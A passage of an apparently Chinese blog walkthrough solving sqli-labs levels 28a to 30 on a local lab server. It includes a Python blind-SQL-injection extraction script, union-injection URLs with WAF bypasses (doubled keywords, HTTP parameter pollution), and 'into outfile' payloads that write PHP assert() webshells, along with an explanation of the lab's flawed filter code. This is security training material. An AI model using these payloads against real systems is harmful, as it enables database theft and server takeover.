            payload10 = "1') and (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")and('1')=('1"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1') and (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))="+str(i)+")and('1')=('1"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1') and (substr((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")),"+str(i)+",1)='"+c+"')and('1')=('1"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

脚本测试结果:

Less28a

这关更简单,连空格都不用绕过

思路和上一关是一样的,也是双写union select整体来绕过。payload如下:

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,2,3 and  ('1')=('1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(schema_name) from information_schema.schemata),3 and  ('1')=('1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3 and  ('1')=('1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),3 and  ('1')=('1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(concat(id,'^',content)) from pikachu.message),3 and  ('1')=('1

最终结果:

Less29

这关神了个奇了,拿这个url试了一下,啥也没过滤呀,简单极了,http://192.168.101.16/sqli-labs-master/Less-29/,看了代码才发现,这关要在这个url上操作才能get到新知识:

http://192.168.101.16/sqli-labs-master/Less-29/login.php

我悟了……所以这关的哲学意义是没有困难也要自己创造困难吗……

首先,输入正常的数字参数,输出也是正常的:

http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1

然后加个单引号试试,不行,被发现并阻止了:

http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1'

 这关给了个链接:https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf

内容是关于HTTP参数污染(HTTP Parameter Pollution,简称HPP)的,正好前段时间简单看过,就是如果输入多个同名参数,可能服务器仅取第一个或者最后一个。用在sql注入的WAF绕过上,就是服务器所有同名参数都取了,但是对某些参数做检测,用其他参数做处理。详情可以参考下面这篇:HTTP参数污染攻击_0xdawn的博客-CSDN博客_http参数污染

根据这个原理,构造url:http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1'

发现可以绕过过滤,返回sql语句报错信息

 再往后就是简单的union注入啦,爆数据的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s

 写入webshell的payload:

http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' union select 1,2,'<?php assert($_POST[less29]);?>' into outfile 'C:/less29.php'-- s

写入服务器的webshell:

 本关代码值得注意的地方用红框框标出来了:

这关有两个和id相关的变量,一个叫$id1一个叫$id,函数java_implimentation()whitelist()处理的都是$id1,而sql语句中代入的确是$id

来看看java_implimentation()是怎么处理$id1的,它把$id1以&为分割符分割为数组,如果数组的键为'id',则取数组值的前27个字符返回,并跳出循环。

也就是说当url中只有一个id参数时,取id的前27个字符,赋值给$id1;如果url中有两个id参数,则取第一个id参数的前27个字符,赋值给$id1。

再来看看whitelist()是如何处理$id1的,它要求$id1必须以数字开头以数字结尾,也就是$id1必须是数字,否则跳转到hacked.php。

 综合来看,如果url中只有一个id参数,则这个参数值必须是数字,才不会跳转到hacked.php页面;而当url中有两个id参数,则whitelist()只检测第一个id参数值,而Nginx+PHP显然通过$_GET['id']获取到的是第二个id参数的值,因此绕过了WAF。

Less30

无语,这关和上一关一样,这个url特别简单,就是一般的布尔盲注:http://192.168.101.16/sqli-labs-master/Less-30/

真正的机关在:http://192.168.101.16/sqli-labs-master/Less-30/login.php

这关真的懒得说,和Less29除了闭合不同(这关闭合是双引号),其他都是一样的。既然说到这里了,顺便吐槽一下sqli-labs的标题真的乱起,特别是注入方法,好多不能信的……

爆数据的payload:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=1" order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=1" order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s

 写入webshell的payload:

http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,'<?php assert($_POST[less30]);?>' into outfile 'C:/phpstudy_pro/WWW/less30.php'-- s

写入服务器的webshell:

本关代码就不说啦,和上一关就sql语句的闭合符号不同而已…… 

  • 6
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值